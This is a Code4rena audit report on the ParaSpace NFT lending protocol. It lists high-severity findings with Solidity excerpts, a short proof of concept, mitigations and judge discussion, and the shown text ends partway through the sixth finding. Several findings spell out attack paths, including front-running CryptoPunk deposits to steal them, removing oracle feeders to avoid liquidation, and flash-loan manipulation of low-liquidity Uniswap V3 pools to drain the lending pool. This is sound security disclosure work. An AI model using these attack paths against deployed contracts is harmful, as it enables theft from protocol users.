ParaSpace contest
Findings & Analysis Report
2023-04-27
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] Data corruption in
NFTFloorOracle; Denial of Service - [H-02] Anyone can steal CryptoPunk during the deposit flow to WPunkGateway
- [H-03] Interest rates are incorrect on Liquidation
- [H-04] Anyone can prevent themselves from being liquidated as long as they hold one of the supported NFTs
- [H-05] Attacker can manipulate low TVL Uniswap V3 pool to borrow and swap to make Lending Pool in loss
- [H-06] Discrepency in the Uniswap V3 position price calculation because of decimals
- [H-07] User can pass auction recovery health check easily with flashloan
- [H-08] NFTFloorOracle’s asset and feeder structures can be corrupted
- [H-09] UniswapV3 tokens of certain pairs will be wrongly valued, leading to liquidations
- [H-10] Attacker can drain pool using
executeBuyWithCreditwith malicious marketplace payload
- [H-01] Data corruption in
-
- [M-01] Semi-erroneous Median Value
- [M-02] Value can be stuck in Adapters
- [M-03] safeTransfer is not implemented correctly
- [M-04] Fallback oracle is using spot price in Uniswap liquidity pool, which is very vulnerable to flashloan price manipulation
- [M-05] Front-running admin setPrice call allows a single compromised oracle to set any price, allowing the oracle manipulator to drain all protocol funds
- [M-06] New BAKC Owner Can Steal ApeCoin
- [M-07] NTokenMoonBirds Reserve Pool Cannot Receive Airdrops
- [M-08] Adversary can force user to pay large gas fees by transfering them collateral
- [M-09] User collateral NFT open auctions would be sold as min price immediately next time user health factor gets below the liquidation threshold, protocol should check health factor and set auctionValidityTime value anytime a valid action happens to user account to invalidate old open auctions
- [M-10] Users can be locked out of providing Uniswap V3 NFTs as collateral
- [M-11] LooksRare orders using WETH as currency cannot be paid with WETH
- [M-12] During oracle outages or feeder outages/disagreement, the
ParaSpaceFallbackOracleis not used - [M-13] Interactions with AMMs do not use deadlines for operations
- M-14 Centralization Risks
- [M-15] NFTFloorOracle’s assets will use old prices if added back after removal
- [M-16] When users sign a credit loan for bidding on an item, they are forever committed to the loan even if the NFT value drops massively
- [M-17] Attacker can abuse victim’s signature for marketplace bid to buy worthless item
- [M-18] Bad debt will likely incur when multiple NFTs are liquidated
- [M-19] Rewards are not accounted for properly in NTokenApeStaking contracts, limiting user’s collateral
- [M-20] Oracle does not treat upward and downward price movement the same in validity checks, causing safety issues in oracle usage
- [M-21] Pausing assets only affects future price updates, not previous malicious updates
- [M-22] Price can deviate by much more than maxDeviationRate
- [M-23] Oracle will become invalid much faster than intended on non-mainnet chains
- [M-24] MintableIncentivizedERC721 and NToken do not comply with ERC721, breaking composability
-
Low Risk and Non-Critical Issues
- Summary
- L‑01 Misleading variable naming/documentation
- L‑02 Wrong interest during leap years
- L‑03 Fallback oracle may break with future NFTs
- L‑04
tokenURI()does not follow EIP-721 - L‑05 Empty
receive()/payable fallback()function does not authenticate requests - L‑06
abi.encodePacked()should not be used with dynamic types when passing the result to a hash function such askeccak256() - L‑07 Use
Ownable2Steprather thanOwnable - L‑08 Open TODOs
- L‑09 NatSpec is incomplete
- N‑01 EIP-1967 storage slots should use the
eip1967.proxyprefix - N‑02 Input addresse to
_safeTransferETH()should be payable - N‑03 Functions that must be overridden should be virtual, with no body
- N‑04 Inconsistent safe transfer library used
- N‑05 Upgradeable contract is missing a
__gap[50]storage variable to allow for new storage variables in later versions - N‑06 Import declarations should import specific identifiers, rather than the whole file
- N‑07 Missing
initializermodifier on constructor - N‑08 Duplicate import statements
- N‑09 The
nonReentrantmodifiershould occur before all other modifiers - N‑10
overridefunction arguments that are unused should have the variable name removed or commented out to avoid compiler warnings - N‑11
2**<n> - 1should be re-written astype(uint<n>).max - N‑12
constants should be defined rather than using magic numbers - N‑13 Numeric values having to do with time should use time units for readability
- N‑14 Use bit shifts in an imutable variable rather than long bit masks of a single bit, for readability
- N‑15 Events that mark critical parameter changes should contain both the old and the new value
- N‑16 Use a more recent version of solidity
- N‑17 Use a more recent version of solidity
- N‑18 Expressions for constant values such as a call to
keccak256(), should useimmutablerather thanconstant - N‑19 Use scientific notation (e.g.
1e18) rather than exponentiation (e.g.10**18) - N‑20 Inconsistent spacing in comments
- N‑21 Lines are too long
- N‑22 Variable names that consist of all capital letters should be reserved for
constant/immutablevariables - N‑23 Not using the named return variables anywhere in the function is confusing
- N‑24 Duplicated
require()/revert()checks should be refactored to a modifier or function - N‑25 Consider using
deleterather than assigning zero to clear values - N‑26 Contracts should have full test coverage
- N‑27 Large or complicated code bases should implement fuzzing tests
- N‑28 Typos
- Excluded Findings
-
- Summary
- G‑01 Save gas by checking against default WETH address
- G‑02 Save gas by batching
NTokenoperations - G‑03 Using
storageinstead ofmemoryfor structs/arrays saves gas - G‑04 Multiple accesses of a mapping/array should use a local variable cache
- G‑05 The result of function calls should be cached rather than re-calling the function
- G‑06
internalfunctions only called once can be inlined to save gas - G‑07 Add
unchecked {}for subtractions where the operands cannot underflow because of a previousrequire()orif-statement - G‑08
++i/i++should beunchecked{++i}/unchecked{i++}when it is not possible for them to overflow, as is the case when used infor- andwhile-loops - G‑09
require()/revert()strings longer than 32 bytes cost extra gas - G‑10 Optimize names to save gas
- G‑11
++icosts less gas thani++, especially when it’s used infor-loops (--i/i--too) - G‑12 Splitting
require()statements that use&&saves gas - G‑13 Usage of
uints/intssmaller than 32 bytes (256 bits) incurs overhead - G‑14 Using
privaterather thanpublicfor constants, saves gas - G‑15 Inverting the condition of an
if-else-statement wastes gas - G‑16
require()orrevert()statements that check input arguments should be at the top of the function - G‑17 Use custom errors rather than
revert()/require()strings to save gas - G‑18 Functions guaranteed to revert when called by normal users can be marked
payable - G‑19 Don’t use
_msgSender()if not supporting EIP-2771 - Excluded Findings
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit contest outlined in this document, C4 conducted an analysis of the ParaSpace smart contract system written in Solidity. The audit contest took place between November 28—December 9 2022.
Wardens
113 Wardens contributed reports to the ParaSpace contest:
- 0x4non
- 0x52
- 0xAgro
- 0xDave
- 0xNazgul
- 0xSmartContract
- 0xackermann
- 9svR6w
- Atarpara
- Awesome
- Aymen0909
- B2
- BClabs (nalus and Reptilia)
- BRONZEDISC
- Big0XDev
- Bnke0x0
- Deekshith99
- Deivitto
- Diana
- Dravee
- Englave
- Franfran
- HE1M
- IllIllI
- Jeiwan
- Josiah
- Kaiziron
- KingNFT
- Kong
- Lambda
- Mukund
- PaludoX0
- R2
- RaymondFam
- Rolezn
- Saintcode_
- Sathish9098
- Secureverse (imkapadia, Nsecv, and leosathya)
- SmartSek (0xDjango and hake)
- Trust
- _Adam
- __141345__
- ahmedov
- ali_shehab
- ayeslick
- brgltd
- bullseye
- c3phas
- c7e7eff
- carlitox477
- cccz
- ch0bu
- chaduke
- chrisdior4
- codecustard
- cryptonue
- cryptostellar5
- csanuragjain
- cyberinn
- datapunk
- delfin454000
- eierina
- erictee
- fatherOfBlocks
- fs0c
- gz627
- gzeon
- hansfriese
- helios
- hihen
- hyh
- i_got_hacked
- ignacio
- imare
- jadezti
- jayphbee
- joestakey
- kaliberpoziomka8552
- kankodu
- ksk2345
- ladboy233
- mahdikarimi
- martin
- minhquanym
- nadin
- nicobevi
- oyc_109
- pashov
- pavankv
- pedr02b2
- poirots (DavideSilva, resende, naps62, and eighty)
- pzeus
- rbserver
- rjs
- ronnyx2017
- rvierdiiev
- saneryee
- seyni
- shark
- skinz
- ujamal_
- unforgiven
- wait
- web3er
- xiaoming90
- yjrwkk
This contest was judged by LSDan.
Final report assembled by liveactionllama.
Summary
The C4 analysis yielded an aggregated total of 34 unique vulnerabilities. Of these vulnerabilities, 10 received a risk rating in the category of HIGH severity and 24 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 69 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 15 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 ParaSpace contest repository, and is composed of 32 smart contracts written in the Solidity programming language and includes 8,407 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (10)
[H-01] Data corruption in NFTFloorOracle; Denial of Service
Submitted by Englave, also found by Trust, Josiah, minhquanym, Jeiwan, kaliberpoziomka8552, 9svR6w, unforgiven, csanuragjain, RaymondFam, and Lambda
During _removeFeeder operation in NFTFloorOracle contract, the feeder is removed from feeders array, and linking in feederPositionMap for the specific feeder is removed. Deletion logic is implemented in “Swap + Pop” way, so indexes changes, but existing code doesn’t update indexes in feederPositionMap after feeder removal, which causes the issue of Denial of Service for further removals.
As a result:
- Impossible to remove some
feedersfrom the contract due to Out of Bounds array access. Removal fails because of transaction revert. - Data in
feederPositionMapis corrupted after somefeedersremoval. Data linking fromfeederPositionMap.indextofeedersarray is broken.
Proof of Concept
address internal feederA = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
address internal feederB = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
address internal feederC = 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db;
function corruptFeedersMapping() external {
console.log("Starting from empty feeders array. Array size: %s", feeders.length);
address[] memory initialFeeders = new address[](3);
initialFeeders[0] = feederA;
initialFeeders[1] = feederB;
initialFeeders[2] = feederC;
this.addFeeders(initialFeeders);
console.log("Feeders array: [%s, %s, %s]", initialFeeders[0], initialFeeders[1], initialFeeders[2]);
console.log("Remove feeder B");
this.removeFeeder(feederB);
console.log("feederPositionMap[A] = %s, feederPositionMap[C] = %s", feederPositionMap[feederA].index, feederPositionMap[feederC].index);
console.log("Mapping for Feeder C store index 2, which was not updated after removal of B. Feeders array length is : %s", feeders.length);
console.log("Try remove Feeder C. Transaction will be reverted because of access out of bounds of array. Data is corrupted");
this.removeFeeder(feederC);
}Snippet execution result:
Tools Used
Visual inspection; Solidity snippet for PoC
Recommended Mitigation Steps
Update index in feederPositionMap after feeders swap and pop.
feeders[feederIndex] = feeders[feeders.length - 1];
feederPositionMap[feeders[feederIndex]].index = feederIndex; //Index update added as a recommendation
feeders.pop();yubo-ruan (Paraspace) confirmed
I’ve submitted this report as well. However, I believe it does not meet the high criteria set for HIGH severity finding. For HIGH, warden must show a direct loss of funds or damage to the protocol that stems from the specific issue. Here, there are clearly several conditionals that must occur in order for actual damage to take place. Regardless, will respect judge’s views on the matter.
I’ve submitted this report as well. However, I believe it does not meet the high criteria set for HIGH severity finding. For HIGH, warden must show a direct loss of funds or damage to the protocol that stems from the specific issue. Here, there are clearly several conditionals that must occur in order for actual damage to take place. Regardless, will respect judge’s views on the matter.
I respectfully disagree. The scenario is likely to occur at some point during normal operation of the protocol. The inability to remove dead or malfunctioning feeders can easily lead to the complete breakdown of the protocol and significant funds loss, the “data corruption” mentioned in the report. The severity of this issue, when it occurs, justifies the high risk rating.
[H-02] Anyone can steal CryptoPunk during the deposit flow to WPunkGateway
Submitted by 0x52, also found by Dravee, c7e7eff, xiaoming90, KingNFT, Big0XDev, and cccz
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/ui/WPunkGateway.sol#L77-L95
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/ui/WPunkGateway.sol#L129-L155
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/ui/WPunkGateway.sol#L167-L193
All CryptoPunk deposits can be stolen.
Proof of Concept
CryptoPunks were created before the ERC721 standard. A consequence of this is that they do not possess the transferFrom method. To approximate this a user can offerPunkForSaleToAddress for a price of 0 to effectively approve the contract to transferFrom.
function supplyPunk(
DataTypes.ERC721SupplyParams[] calldata punkIndexes,
address onBehalfOf,
uint16 referralCode
) external nonReentrant {
for (uint256 i = 0; i < punkIndexes.length; i++) {
Punk.buyPunk(punkIndexes[i].tokenId);
Punk.transferPunk(proxy, punkIndexes[i].tokenId);
// gatewayProxy is the sender of this function, not the original gateway
WPunk.mint(punkIndexes[i].tokenId);
}
Pool.supplyERC721(
address(WPunk),
punkIndexes,
onBehalfOf,
referralCode
);
}The current implementation of WPunkGateway#supplyPunk allows anyone to execute and determine where the nTokens are minted to. To complete the flow supply flow a user would need to offerPunkForSaleToAddress for a price of 0 to WPunkGateway. After they have done this, anyone can call the function to deposit the punk and mint the nTokens to themselves, effectively stealing it.
Example:
User A owns tokenID of 1. They want to deposit it so they call offerPunkForSaleToAddress with an amount of 0, effectively approving the WPunkGateway to transfer their CryptoPunk. User B monitors the transactions and immediately calls supplyPunk with themselves as onBehalfOf. This completes the transfer of the CryptoPunk and deposits it into the pool but mints the nTokens to User B, allowing them to effectively steal the CryptoPunk.
The same fundamental issue exists with acceptBidWithCredit and batchAcceptBidWithCredit.
Recommended Mitigation Steps
Query the punkIndexToAddress to find the owner and only allow owner to deposit:
for (uint256 i = 0; i < punkIndexes.length; i++) {
+ address owner = Punk.punkIndexToAddress(punkIndexes[i].tokenId);
+ require(owner == msg.sender);
Punk.buyPunk(punkIndexes[i].tokenId);
Punk.transferPunk(proxy, punkIndexes[i].tokenId);
// gatewayProxy is the sender of this function, not the original gateway
WPunk.mint(punkIndexes[i].tokenId);
}yubo-ruan (Paraspace) confirmed
[H-03] Interest rates are incorrect on Liquidation
Submitted by csanuragjain, also found by unforgiven and cccz
The debt tokens are being transferred before calculating the interest rates. But the interest rate calculation function assumes that debt token has not yet been sent thus the outcome currentLiquidityRate will be incorrect
Proof of Concept
- Liquidator L1 calls
executeLiquidateERC20for a position whose health factor <1
function executeLiquidateERC20(
mapping(address => DataTypes.ReserveData) storage reservesData,
mapping(uint256 => address) storage reservesList,
mapping(address => DataTypes.UserConfigurationMap) storage usersConfig,
DataTypes.ExecuteLiquidateParams memory params
) external returns (uint256) {
...
_burnDebtTokens(liquidationAssetReserve, params, vars);
...
}- This internally calls
_burnDebtTokens
function _burnDebtTokens(
DataTypes.ReserveData storage liquidationAssetReserve,
DataTypes.ExecuteLiquidateParams memory params,
ExecuteLiquidateLocalVars memory vars
) internal {
...
// Transfers the debt asset being repaid to the xToken, where the liquidity is kept
IERC20(params.liquidationAsset).safeTransferFrom(
vars.payer,
vars.liquidationAssetReserveCache.xTokenAddress,
vars.actualLiquidationAmount
);
...
// Update borrow & supply rate
liquidationAssetReserve.updateInterestRates(
vars.liquidationAssetReserveCache,
params.liquidationAsset,
vars.actualLiquidationAmount,
0
);
}- Basically first it transfers the debt asset to xToken using below. This increases the balance of xTokenAddress for liquidationAsset
IERC20(params.liquidationAsset).safeTransferFrom(
vars.payer,
vars.liquidationAssetReserveCache.xTokenAddress,
vars.actualLiquidationAmount
);- Now
updateInterestRatesfunction is called on ReserveLogic.sol#L169
function updateInterestRates(
DataTypes.ReserveData storage reserve,
DataTypes.ReserveCache memory reserveCache,
address reserveAddress,
uint256 liquidityAdded,
uint256 liquidityTaken
) internal {
...
(
vars.nextLiquidityRate,
vars.nextVariableRate
) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress)
.calculateInterestRates(
DataTypes.CalculateInterestRatesParams({
liquidityAdded: liquidityAdded,
liquidityTaken: liquidityTaken,
totalVariableDebt: vars.totalVariableDebt,
reserveFactor: reserveCache.reserveFactor,
reserve: reserveAddress,
xToken: reserveCache.xTokenAddress
})
);
...
}- Finally call to
calculateInterestRatesfunction on DefaultReserveInterestRateStrategy#L127 contract is made which calculates the interest rate
function calculateInterestRates(
DataTypes.CalculateInterestRatesParams calldata params
) external view override returns (uint256, uint256) {
...
if (vars.totalDebt != 0) {
vars.availableLiquidity =
IToken(params.reserve).balanceOf(params.xToken) +
params.liquidityAdded -
params.liquidityTaken;
vars.availableLiquidityPlusDebt =
vars.availableLiquidity +
vars.totalDebt;
vars.borrowUsageRatio = vars.totalDebt.rayDiv(
vars.availableLiquidityPlusDebt
);
vars.supplyUsageRatio = vars.totalDebt.rayDiv(
vars.availableLiquidityPlusDebt
);
}
...
vars.currentLiquidityRate = vars
.currentVariableBorrowRate
.rayMul(vars.supplyUsageRatio)
.percentMul(
PercentageMath.PERCENTAGE_FACTOR - params.reserveFactor
);
return (vars.currentLiquidityRate, vars.currentVariableBorrowRate);
}- As we can see in above code,
vars.availableLiquidityis calculated asIToken(params.reserve).balanceOf(params.xToken) +params.liquidityAdded - params.liquidityTaken - But the problem is that debt token is already transferred to
xTokenwhich meansxTokenalready consist ofparams.liquidityAdded. Hence the calculation ultimately becomes(xTokenBeforeBalance+params.liquidityAdded) +params.liquidityAdded - params.liquidityTaken - This is incorrect and would lead to higher
vars.availableLiquiditywhich ultimately impacts thecurrentLiquidityRate
Recommended Mitigation Steps
Transfer the debt asset post interest calculation
function _burnDebtTokens(
DataTypes.ReserveData storage liquidationAssetReserve,
DataTypes.ExecuteLiquidateParams memory params,
ExecuteLiquidateLocalVars memory vars
) internal {
IPToken(vars.liquidationAssetReserveCache.xTokenAddress)
.handleRepayment(params.liquidator, vars.actualLiquidationAmount);
// Burn borrower's debt token
vars
.liquidationAssetReserveCache
.nextScaledVariableDebt = IVariableDebtToken(
vars.liquidationAssetReserveCache.variableDebtTokenAddress
).burn(
params.borrower,
vars.actualLiquidationAmount,
vars.liquidationAssetReserveCache.nextVariableBorrowIndex
);
liquidationAssetReserve.updateInterestRates(
vars.liquidationAssetReserveCache,
params.liquidationAsset,
vars.actualLiquidationAmount,
0
);
IERC20(params.liquidationAsset).safeTransferFrom(
vars.payer,
vars.liquidationAssetReserveCache.xTokenAddress,
vars.actualLiquidationAmount
);
...
...
}[H-04] Anyone can prevent themselves from being liquidated as long as they hold one of the supported NFTs
Submitted by IllIllI, also found by Aymen0909, pashov, hansfriese, 0xNazgul, xiaoming90, Awesome, fatherOfBlocks, kaliberpoziomka8552, shark, unforgiven, csanuragjain, Atarpara, ali_shehab, web3er, pzeus, Kong, BClabs, bullseye, chaduke, datapunk, and nicobevi
Contrary to what the function comments say, removeFeeder() is able to be called by anyone, not just the owner. By removing all feeders (i.e. floor twap price oracle keepers), a malicious user can cause all queries for the price of NFTs reliant on the NFTFloorOracle (all NFTs except for the UniswapV3 ones), to revert, which will cause all calls to liquidateERC721() to revert.
Impact
If NFTs can’t be liquidated, positions will remain open for longer than they should, and the protocol may become insolvent by the time the issue is resolved.
Proof of Concept
The onlyRole(DEFAULT_ADMIN_ROLE) should have been used instead of onlyWhenFeederExisted…
File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #1
165 /// @notice Allows owner to remove feeder.
166 /// @param _feeder feeder to remove
167 function removeFeeder(address _feeder)
168 external
169 onlyWhenFeederExisted(_feeder)
170 {
171 _removeFeeder(_feeder);
172: }… since onlyWhenFeederExisted is already on the internal call to _removeFeeder() (onlyWhenFeederExisted doesn’t do any authentication of the caller):
File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #2
326 function _removeFeeder(address _feeder)
327 internal
328 onlyWhenFeederExisted(_feeder)
329 {
330 uint8 feederIndex = feederPositionMap[_feeder].index;
331 if (feederIndex >= 0 && feeders[feederIndex] == _feeder) {
332 feeders[feederIndex] = feeders[feeders.length - 1];
333 feeders.pop();
334 }
335 delete feederPositionMap[_feeder];
336 revokeRole(UPDATER_ROLE, _feeder);
337 emit FeederRemoved(_feeder);
338: }Note that feeders must have the UPDATER_ROLE (revoked above) in order to update the price.
The fetching of the price will revert if the price is stale:
File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #3
234 /// @param _asset The nft contract
235 /// @return price The most recent price on chain
236 function getPrice(address _asset)
237 external
238 view
239 override
240 returns (uint256 price)
241 {
242 uint256 updatedAt = assetPriceMap[_asset].updatedAt;
243 require(
244 @> (block.number - updatedAt) <= config.expirationPeriod,
245 "NFTOracle: asset price expired"
246 );
247 return assetPriceMap[_asset].twap;
248: }And it will become stale if there are no feeders for enough time:
File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #4
195 function setPrice(address _asset, uint256 _twap)
196 public
197 @> onlyRole(UPDATER_ROLE)
198 onlyWhenAssetExisted(_asset)
199 whenNotPaused(_asset)
200 {
201 bool dataValidity = false;
202 if (hasRole(DEFAULT_ADMIN_ROLE, msg.sender)) {
203 @> _finalizePrice(_asset, _twap);
204 return;
205 }
206 dataValidity = _checkValidity(_asset, _twap);
207 require(dataValidity, "NFTOracle: invalid price data");
208 // add price to raw feeder storage
209 _addRawValue(_asset, _twap);
210 uint256 medianPrice;
211 // set twap price only when median value is valid
212 (dataValidity, medianPrice) = _combine(_asset, _twap);
213 if (dataValidity) {
214 @> _finalizePrice(_asset, medianPrice);
215 }
216: }File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #5
376 function _finalizePrice(address _asset, uint256 _twap) internal {
377 PriceInformation storage assetPriceMapEntry = assetPriceMap[_asset];
378 assetPriceMapEntry.twap = _twap;
379 @> assetPriceMapEntry.updatedAt = block.number;
380 assetPriceMapEntry.updatedTimestamp = block.timestamp;
381 emit AssetDataSet(
382 _asset,
383 assetPriceMapEntry.twap,
384 assetPriceMapEntry.updatedAt
385 );
386: }Note that the default staleness interval is six hours:
File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #6
10 //expirationPeriod at least the interval of client to feed data(currently 6h=21600s/12=1800 in mainnet)
11 //we do not accept price lags behind to much
12: uint128 constant EXPIRATION_PERIOD = 1800;The reverting getPrice() function is called from the ERC721OracleWrapper where it is not caught:
File: /paraspace-core/contracts/misc/ERC721OracleWrapper.sol #7
44 function setOracle(address _oracleAddress)
45 external
46 onlyAssetListingOrPoolAdmins
47 {
48 @> oracleAddress = INFTFloorOracle(_oracleAddress);
49 }
50
...
54
55 function latestAnswer() external view override returns (int256) {
56 @> return int256(oracleAddress.getPrice(asset));
57: }And neither is it caught from any of the callers further up the chain (note that the fallback oracle can’t be hit since the call reverts before that):
File: /paraspace-core/contracts/misc/ERC721OracleWrapper.sol #8
10: contract ERC721OracleWrapper is IEACAggregatorProxy {File: /paraspace-core/contracts/misc/ParaSpaceOracle.sol #9
114 /// @inheritdoc IPriceOracleGetter
115 function getAssetPrice(address asset)
116 public
117 view
118 override
119 returns (uint256)
120 {
121 if (asset == BASE_CURRENCY) {
122 return BASE_CURRENCY_UNIT;
123 }
124
125 uint256 price = 0;
126 @> IEACAggregatorProxy source = IEACAggregatorProxy(assetsSources[asset]);
127 if (address(source) != address(0)) {
128 @> price = uint256(source.latestAnswer());
129 }
130 if (price == 0 && address(_fallbackOracle) != address(0)) {
131 price = _fallbackOracle.getAssetPrice(asset);
132 }
133
134 require(price != 0, Errors.ORACLE_PRICE_NOT_READY);
135 return price;
136: }File: /paraspace-core/contracts/protocol/libraries/logic/GenericLogic.sol #10
535 function _getAssetPrice(address oracle, address currentReserveAddress)
536 internal
537 view
538 returns (uint256)
539 {
540 @> return IPriceOracleGetter(oracle).getAssetPrice(currentReserveAddress);
541: }File: /paraspace-core/contracts/protocol/libraries/logic/GenericLogic.sol : _getUserBalanceForERC721() #11
388 @> uint256 assetPrice = _getAssetPrice(
389 params.oracle,
390 vars.currentReserveAddress
391 );
392 totalValue =
393 ICollateralizableERC721(vars.xTokenAddress)
394 .collateralizedBalanceOf(params.user) *
395 assetPrice;
396: }File: /paraspace-core/contracts/protocol/libraries/logic/GenericLogic.sol : calculateUserAccountData() #12
214 vars
215 .userBalanceInBaseCurrency = _getUserBalanceForERC721(
216 params,
217 vars
218: );File: /paraspace-core/contracts/protocol/libraries/logic/LiquidationLogic.sol #13
286 function executeLiquidateERC721(
287 mapping(address => DataTypes.ReserveData) storage reservesData,
288 mapping(uint256 => address) storage reservesList,
289 mapping(address => DataTypes.UserConfigurationMap) storage usersConfig,
290 DataTypes.ExecuteLiquidateParams memory params
291 ) external returns (uint256) {
292 ExecuteLiquidateLocalVars memory vars;
...
311 (
312 vars.userGlobalCollateral,
313 ,
314 vars.userGlobalDebt, //in base currency
315 ,
316 ,
317 ,
318 ,
319 ,
320 vars.healthFactor,
321
322 @> ) = GenericLogic.calculateUserAccountData(
323 reservesData,
324 reservesList,
325 DataTypes.CalculateUserAccountDataParams({
326 userConfig: userConfig,
327 reservesCount: params.reservesCount,
328 user: params.borrower,
329 oracle: params.priceOracle
330 })
331: );File: /paraspace-core/contracts/protocol/pool/PoolCore.sol #14
457 /// @inheritdoc IPoolCore
458 function liquidateERC721(
459 address collateralAsset,
460 address borrower,
461 uint256 collateralTokenId,
462 uint256 maxLiquidationAmount,
463 bool receiveNToken
464 ) external payable virtual override nonReentrant {
465 DataTypes.PoolStorage storage ps = poolStorage();
466
467 @> LiquidationLogic.executeLiquidateERC721(
468 ps._reserves,
469 ps._reservesList,
470: ps._usersConfig,A person close to liquidation can remove all feeders, giving themselves a free option on whether the extra time it takes for the admins to resolve the issue, is enough time for their position to go back into the green. Alternatively, a competitor can analyze what price most liquidations will occur at (based on on-chain data about every user’s account health), and can time the removal of feeders for maximum effect. Note that even if the admins re-add the feeders, the malicious user can just remove them again.
Recommended Mitigation Steps
Add the onlyRole(DEFAULT_ADMIN_ROLE) modifier to removeFeeder().
yubo-ruan (Paraspace) confirmed via duplicate issue #55
[H-05] Attacker can manipulate low TVL Uniswap V3 pool to borrow and swap to make Lending Pool in loss
Submitted by minhquanym
In Paraspace protocol, any Uniswap V3 position that are consist of ERC20 tokens that Paraspace support can be used as collateral to borrow funds from Paraspace pool. The value of the Uniswap V3 position will be sum of value of ERC20 tokens in it.
function getTokenPrice(uint256 tokenId) public view returns (uint256) {
UinswapV3PositionData memory positionData = getOnchainPositionData(
tokenId
);
PairOracleData memory oracleData = _getOracleData(positionData);
(uint256 liquidityAmount0, uint256 liquidityAmount1) = LiquidityAmounts
.getAmountsForLiquidity(
oracleData.sqrtPriceX96,
TickMath.getSqrtRatioAtTick(positionData.tickLower),
TickMath.getSqrtRatioAtTick(positionData.tickUpper),
positionData.liquidity
);
(
uint256 feeAmount0,
uint256 feeAmount1
) = getLpFeeAmountFromPositionData(positionData);
return // @audit can be easily manipulated with low TVL pool
(((liquidityAmount0 + feeAmount0) * oracleData.token0Price) /
10**oracleData.token0Decimal) +
(((liquidityAmount1 + feeAmount1) * oracleData.token1Price) /
10**oracleData.token1Decimal);
}However, Uniswap V3 can have multiple pools for the same pairs of ERC20 tokens with different fee params. A fews has most the liquidity, while other pools have extremely little TVL or even not created yet. Attackers can abuse it, create low TVL pool where liquidity in this pool mostly (or fully) belong to attacker’s position, deposit this position as collateral and borrow token in Paraspace pool, swap to make the original position reduce the original value and cause Paraspace pool in loss.
Proof of Concept
Consider the scenario where WETH and DAI are supported as collateral in Paraspace protocol.
- Alice (attacker) create a new WETH/DAI pool in Uniswap V3 and add liquidity with the following amount
1e18 wei WETH - 1e6 wei DAI = 1 WETH - 1e-12 DAI ~= 1 ETH
Let’s just assume Alice position has price range from[MIN_TICK, MAX_TICK]so the math can be approximately like Uniswap V2 - constant product.
Note that this pool only has liquidity from Alice. - Alice deposit this position into Paraspace, value of this position is approximately
1 WETHand Alice borrow maximum possible amount of USDC. - Alice make swap in her WETH/DAI pool in Uniswap V3 to make the position become
1e6 wei WETH - 1e18 wei DAI = 1e-12 WETH - 1 DAI ~= 1 DAI
Please note that the math I’ve done above is approximation based on Uniswap V2 formula x * y = k because Alice provided liquidity from MIN_TICK to MAX_TICK.
For more information about Uniswap V3 formula, please check their whitepaper here: https://uniswap.org/whitepaper-v3.pdf.
Recommended Mitigation Steps
Consider adding whitelist, only allowing pool with enough TVL to be collateral in Paraspace protocol.
Overinflated severity
minhquanym (warden) commented:
Hi @LSDan, Maybe there is a misunderstanding here. I believed I gave enough proof to make it a High issue and protocol can be at loss.
You can think of it as using Uniswap V3 pool as a price Oracle. However, it did not even use TWA price but spot price and pool with low liquidity is really easy to be manipulated. We all can see many examples about Price manipulation attacks recently and they had a common cause that price can be changed in one block.
About the Uniswap V3 pool with low liquidity, you can check out this one https://etherscan.io/address/0xbb256c2F1B677e27118b0345FD2b3894D2E6D487.
This is a USDC-USDT pool with only$8kin it.
This is not true because Alice’s pool will be immediately arbed each time she attempts a price manipulation. Accordingly, this issue only exists when a pair has very low liquidity on UniV3 and no liquidity elsewhere. I would have accepted this as a QA, but it does not fall into the realm of a high risk issue.
I’m open to accepting this as a medium if you can give me a more concrete scenario where the value that Alice is extracting from the protocol through this attack is sustainable and significant enough to exceed the gas price of creating a new UniV3 pool.
minhquanym (warden) commented:
@LSDan, Please correct me if I’m wrong but I don’t think Alice’s pool can be arbed when the whole attack happens in 1 transaction. Because of that, I still believe that this is a High. For example,
- price before manipulation is
p1- flash loan and swap to change the price to
p2- add liquidity and borrow at price
p2- change the price back to
p1- repay the flash loan
That’s basically the idea. You can see price is back to
p1at the end.
Ok yeah… I see what you’re saying now. This could be used to drain the pool because the underlying asset price comes from a different oracle. So if Alice creates a pool with 100 USDC and 100 USDT, and drops 3mm USDC from a flash loan into it, the external oracle will value the LP at
$3mm. High makes sense. Thanks for the additional clarity.
[H-06] Discrepency in the Uniswap V3 position price calculation because of decimals
Submitted by Franfran, also found by __141345__ and poirots
When the squared root of the Uniswap V3 position is calculated from the _getOracleData() function, the price may return a very high number (in the case that the token1 decimals are strictly superior to the token0 decimals). See: https://github.com/code-423n4/2022-11-paraspace/blob/main/paraspace-core/contracts/misc/UniswapV3OracleWrapper.sol#L249-L260
The reason is that at the denominator, the 1E9 (10**9) value is hard-coded, but should take into account the delta between both decimals.
